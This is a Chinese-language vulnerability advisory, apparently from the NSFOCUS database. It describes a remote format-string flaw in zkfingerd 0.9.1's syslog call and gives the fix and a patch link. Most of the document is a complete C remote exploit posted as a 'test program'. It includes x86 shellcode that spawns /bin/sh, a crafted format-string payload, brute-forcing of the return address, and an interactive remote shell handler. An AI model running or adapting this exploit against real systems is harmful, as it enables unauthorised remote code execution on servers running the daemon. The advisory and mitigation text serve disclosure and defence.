首页 -> 安全研究

安全研究

安全漏洞
zkfingerd SysLog远程格式串溢出漏洞

发布日期:2002-12-30
更新日期:2002-12-30

受影响系统:
zkfingerd zkfingerd 0.9.1
描述:
BUGTRAQ  ID: 6402

zkfingerd是一款开放源代码的可替代标准finger的守护程序,主要运行于Linux系统下。

zkfingerd实现上存在多个格式串溢出漏洞,远程攻击者可能利用这些漏洞以守护进程的权限在系统上执行任意指令。

zkfingerd log.c中putlog()函数包含一个如下的不安全调用:

syslog(LOG_INFO, c);

这是一个典型的格式串漏洞,正确的调用方法应该是:

syslog(LOG_INFO,"%s", c);

远程攻击者可能通过溢出攻击在服务器上执行任意命令。

<*来源:NGSSoftware Insight Security Research (nisr@nextgenss.com
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-12/0151.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Marceta Milos(root@marcetam.net) 提供了如下测试程序:

/*
*
*        remote exploit for zkfingerd-r3-0.9 linux/x86
*    gives uid of user who is running zkfingerd (default: nobody)              
*                    by Marceta Milos
*                          root@marcetam.net
*            
*         use this for educational propouses only!
*
*     For local attack, response based method could be used, but for
*    remote we can use blind brute force method.
*
*    greets to scut, DeadMaker, stinger, harada and all others.
*    
*/

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<netdb.h>

#define Kb    1024
#define PORT    79      

#define green    "\x1B[1;32m"
#define def    "\x1B[0;37m"
#define wh    "\x1B[1;37m"

#define SHOFF    576
#define RETLOC  0xbffff970      /* Slackware 8.0 */
#define FMT     "\x25\x25\x2e\x25\x64\x75\x25\x25\x68\x6e"
#define DIG8    "\x25\x2e\x66"
#define NOP    "\x90"


    char linux_x86_wrx[]=        

        "\x6a\x01"        /* push    $0x1        */
        "\x5b"            /* pop %ebx        */
        "\xb8\x0b\x6e\x4e\x0b"    /* mov $0x0b4e6e0b,%eax    */
        "\x2d\x01\x01\x01\x01"    /* sub $0x01010101,%eax    */
        "\x50"            /* push %eax        */
        "\x89\xe1"        /* mov %esp,%ecx    */
        "\x6a\x04"        /* push    $0x4        */
        "\x58"            /* pop     %eax        */
        "\x89\xc2"        /* mov %eax,%edx    */
        "\xcd\x80"        /* int $0x80        */
        "\xeb\x0c"        /* jmp 12        */
        "\x4b"            /* dec %ebx        */
        "\xf7\xe3"        /* mul %ebx        */
        "\xfe\xca"        /* dec %dl        */
        "\x59"            /* pop %ecx        */
        "\xb0\x03"        /* movb $0x3,%al    */
        "\xcd\x80"        /* int $0x80        */
        "\xeb\x05"        /* jmp $0x05        */
        "\xe8\xef\xff\xff\xff";    /* call -17         */

     char linux_x86_execve[]=

        "\x6a\x0b"        /* push $0x0b        */        
        "\x58"            /* pop %eax        */
        "\x99"            /* cdq            */
        "\x52"            /* push %edx        */
        "\x68\x6e\x2f\x73\x68"    /* push $0x68732f6e    */
        "\x68\x2f\x2f\x62\x69"    /* push $0x69622f2f    */
           "\x89\xe3"        /* mov %esp,%ebx    */
            "\x52"            /* push %edx        */
            "\x53"            /* push %ebx        */
            "\x89\xe1"        /* mov %esp,%ecx    */
            "\xcd\x80";        /* int $0x80        */

struct wr_addr {
                int low;
                int high;
                } addr;

int host_connect(char *, unsigned short int);
unsigned long int resolve(char *);

void usage(char *);
void exploit(char *, unsigned short int, unsigned long int);
void shell(int);

struct wr_addr convert_addr(unsigned long);

char sendbuf[Kb];
char recvbuf[Kb];

char *target        =    "127.0.0.1";
unsigned short int port =     PORT;
unsigned long retloc     =    RETLOC;
unsigned short int brute=    0;


int main(int argc, char **argv, char **env) {

    char c;

    printf(wh"\n remote nobody exploit for zkfingerd-r3-0.9 by marcetam."def"\n\n");

    if (argc<2)
        usage(argv[0]);

        while ((c = getopt(argc, argv, "h:p:b:")) != EOF) {

                switch (c) {

        case 'h':
            target = optarg;
            break;
                case 'p':
            port = (short)atoi(optarg);
            break;
                case 'b':
            retloc    = strtoul(optarg, &optarg,16);
            brute    = 1;
            break;
        default:
            usage(argv[0]);
                        break;
                }
        }
    printf(" target is : \n\n");
    printf(" host : "wh"%s"def"\n",target);
    printf(" port : "wh"%hu"def"\n",port);
    printf(" ret  : "wh"%#lx"def"\n\n",retloc);
    printf(" attacking ... ");

    if (brute != 0) {

        while(1) {

    printf("trying ret : %#lx\n", retloc);
            sleep(1);
            exploit(target, port, retloc);
            retloc -= 1;
        };
    } else exploit(target, port, retloc);

    return(0);
}

void usage(char *name){

        fprintf(stderr, " usage: %s -h <hostname> -p <port> -b <addr>\n\n",name);
        fprintf(stderr, " -h host\t target hostname (default 127.0.0.1)\n"
            " -p port\t port number (default 79)\n"
            " -b addr\t brute force retloc starting from addr\n"
            "\t\t   WARNING : this will flood logfile\n\n");

        exit(EXIT_FAILURE);
}

void exploit(char *hostname, unsigned short int port, unsigned long int retaddr){

        unsigned long *ptr;

    char    ret[4],
        *chr;

    int    i,
        fd;

    bzero(sendbuf, Kb);
    bzero(recvbuf, Kb);
    bzero(ret, 4);

    fd = host_connect(hostname, port);

    ptr    =    (long *)ret;
    *(ptr)    =    retaddr;
    ret[sizeof(ret)] = '\0';

    for(i = 0;i < 3;i++)
        strcat(sendbuf,ret);
    ret[0] += 2;
    strcat(sendbuf, ret);

    for(i = 0;i < 40; i++)
        strcat(sendbuf, DIG8);      

    addr = convert_addr(retaddr + SHOFF);
    sprintf(sendbuf + strlen(sendbuf), FMT, addr.low);
    sprintf(sendbuf + strlen(sendbuf), FMT, addr.high);
    chr = sendbuf + strlen(sendbuf);

    for(i = 0;i < 128;i++)
        strcat(sendbuf, NOP);

    strcat(sendbuf, linux_x86_wrx);
    write(fd, sendbuf, Kb);
    read(fd, recvbuf, Kb);

    if (strcmp(recvbuf, "\nmM\n") == 0) {

        printf(green"YEAH!\n"def);
        sleep(1);
        printf(" sending shellcode. \n");
        write(fd, linux_x86_execve, sizeof(linux_x86_execve));
        printf(" starting shell #\n"def);
        write(fd,"\n", 1);
        write(fd,"uname -a;id\n", 12);
        shell(fd);
    }
    else printf(wh" failed.\n\n"def);
}

struct wr_addr convert_addr(unsigned long addr) {

    struct wr_addr target;

    target.low  = (addr & 0x0000ffff);
    target.high = (addr & 0xffff0000) >> 16;

    if (target.high > target.low)
        target.high -= target.low;
    else {
        target.high += 0x10000;
        target.high -= target.low;
    }
    target.low -= 0x58;
    return(target);
}

unsigned long int resolve(char *hostname) {

    struct hostent *host;
    long            r;

    r = inet_addr(hostname);

    if (r == -1) {
        host = gethostbyname(hostname);
        if (host == NULL) {
            return(0);
        } else {
            return(*(unsigned long *)host->h_addr);
                   }
    }
    return(r);
}

int host_connect(char *hostname, unsigned short int port) {

        struct sockaddr_in    sa;
    int            fd;

        sa.sin_family    =    AF_INET;
        sa.sin_port    =    htons(port);
        fd        =    socket(AF_INET, SOCK_STREAM, 0);

        if (fd == -1)
        return(fd);

    if (!(sa.sin_addr.s_addr = resolve(hostname))) {
        close(fd);
                return(-1);
        }

    if (connect(fd, (struct sockaddr *)&sa, sizeof(struct sockaddr_in)) < 0) {
        perror("connect");
        close(fd);
        return(-1);
        }

        return(fd);
}

void shell(int fd) {

    char    buf[512];
    int    l;
        fd_set  fds;


        while (1) {

                FD_SET(0, &fds);
                FD_SET(fd, &fds);

                select(fd + 1, &fds, NULL, NULL, NULL);

                if (FD_ISSET(0, &fds)) {
                        l = read(0, buf, sizeof (buf));
                        if (l <= 0) {
                                perror("read user");
                                exit(EXIT_FAILURE);
                        }
                        write(fd, buf, l);
                }

                if (FD_ISSET(fd, &fds)) {
                        l = read(fd, buf, sizeof (buf));
                        if (l == 0) {
                                printf("connection closed by foreign host.\n");
                                exit(EXIT_FAILURE);
                        } else if (l < 0) {
                                perror("read remote");
                                exit(EXIT_FAILURE);
                        }
                        write(1, buf, l);
                }
        }
}

/* www.marcetam.net */

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在漏洞被修补以前暂时停止此守护程序的使用。

厂商补丁:

zkfingerd
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://sourceforge.net/projects/zkfingerd

浏览次数:2649
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障